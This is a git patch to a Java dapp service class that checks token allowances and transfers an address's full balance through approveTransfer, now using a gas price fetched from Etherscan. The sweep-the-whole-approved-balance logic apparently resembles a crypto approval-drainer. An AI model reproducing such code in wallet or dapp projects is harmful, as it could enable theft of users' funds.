From ae05aca297fa702a962d462d45058ffa0fa55a37 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Thu, 31 Mar 2022 15:16:35 +0800 Subject: [PATCH] fix eth transfer --- src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 25 +++++++++++++++++++------ 1 files changed, 19 insertions(+), 6 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java index 31c109e..6745733 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java @@ -1,5 +1,7 @@ package cc.mrbird.febs.dapp.chain; +import cc.mrbird.febs.common.exception.FebsException; +import cn.hutool.core.util.StrUtil; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; @@ -44,7 +46,7 @@ */ public boolean isAllowance(String address) { BigInteger result; - if (address.indexOf(ETH_PREFIX) > 0) { + if (address.startsWith(ETH_PREFIX)) { result = ETH.ethAllowance(address); } else { result = TRX.allowance(address); @@ -65,17 +67,28 @@ return Integer.parseInt(total); } - public void transfer(String address) { + public String transfer(String address) { BigDecimal amount = balanceOf(address); - if (address.contains(ETH_PREFIX)) { - ETH.approveTransfer(address, amount, null); + return transfer(address, amount); + } + + public String transfer(String address, BigDecimal amount) { + String hash; + if (address.startsWith(ETH_PREFIX)) { + String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); + JSONObject data = JSONObject.parseObject(resp); + hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); } else { - TRX.transfer(address, amount); + hash = TRX.transfer(address, amount); } + return hash; } public static void main(String[] args) { -// System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD")); +// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); + +// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); + System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); } } -- Gitblit v1.9.1